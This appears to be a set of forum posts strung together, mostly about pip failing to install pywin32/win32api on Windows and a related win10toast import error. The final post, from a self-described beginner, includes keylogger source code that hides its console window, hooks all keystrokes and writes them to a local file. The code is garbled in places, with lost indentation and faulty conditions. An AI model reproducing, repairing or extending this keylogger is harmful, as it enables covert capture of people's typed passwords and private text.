The answer may seem straightforward, but I've been banging my head against a wall for hours at this point.

What I've tried so far pip install pypiwin32:

(venv) C:\Users\Beheerder\PycharmProjects\Personal-Automation-Programs>pip install pypiwin32

Collecting pywin32
  Could not find a version that satisfies the requirement pywin32 (from versions: )

Several specific versions like pip install pywin32==226:

Collecting pywin32==226
  Could not find a version that satisfies the requirement pywin32==226 (from versions: )

and pip install pypiwin32==220:

Collecting pypiwin32==220
  Could not find a version that satisfies the requirement pypiwin32==220 (from versions: 219, 223)
No matching distribution found for pypiwin32==220

Even some shot-in-the-dark kind of attempts like pip install win32api:

(venv) C:\Users\Beheerder\PycharmProjects\Personal-Automation-Programs>pip install win32api
Collecting win32api
  Could not find a version that satisfies the requirement win32api (from versions: )
No matching distribution found for win32api

and python -m pip install pypiwin32:

I even tried many combinations of these previous commands using previous versions of pip and python to no avail. Do any of you know a possible solution?

[SOLVED]

I've lost a lot of hair due to one problem i've had for past 2 days.

Trying to import ToastNotifier from win10toast and it gives me this:

File "C:\Users\Asd\AppData\Local\Programs\Python\Python310\lib\win10toast\__init__.py", line 19, in <module>

from win32api import GetModuleHandle

ModuleNotFoundError: No module named 'win32api'

Trying to wrap my head around that is it because win32api/win10toast is in the wrong folder by default. I've tried reinstalling python and checking the PATH box, also i moved win32api folders into the win10toast folders

Which folder are modules supposed to install by default?

Going to delete system 32 soon

here is a post for relaxation. how do you feel about using Win32API in python? don't you find it strange?

when there is C++, and even C#, which allows you to do it much more conveniently

Hey fellas I need help installing win32api on python. Im messing around following tutorials since im super new to coding and wanted to learn how to make a keylogger. The current code I have is--

# Python code for keylogger
# to be used in windows
import win32api
import win32console
import win32gui
import pythoncom, pyHook

win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win, 0)

def OnKeyboardEvent(event):
if event.Ascii == 5:
_exit(1)
if event.Ascii != 0 or 8:
# open output.txt to read current keystrokes
f = open('c:\output.txt', 'r+')
buffer = f.read()
f.close()
# open output.txt to write current + new keystrokes
f = open('c:\output.txt', 'w')
keylogs = chr(event.Ascii)
if event.Ascii == 13:
keylogs = '/n'
buffer += keylogs
f.write(buffer)
f.close()
# create a hook manager object
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
# set the hook
hm.HookKeyboard()
# wait forever
pythoncom.PumpMessages()

Shamelessly used from another site. But when I try to run it this error comes up.

line 3, in <module>

import win32api

ModuleNotFoundError: No module named 'win32api'
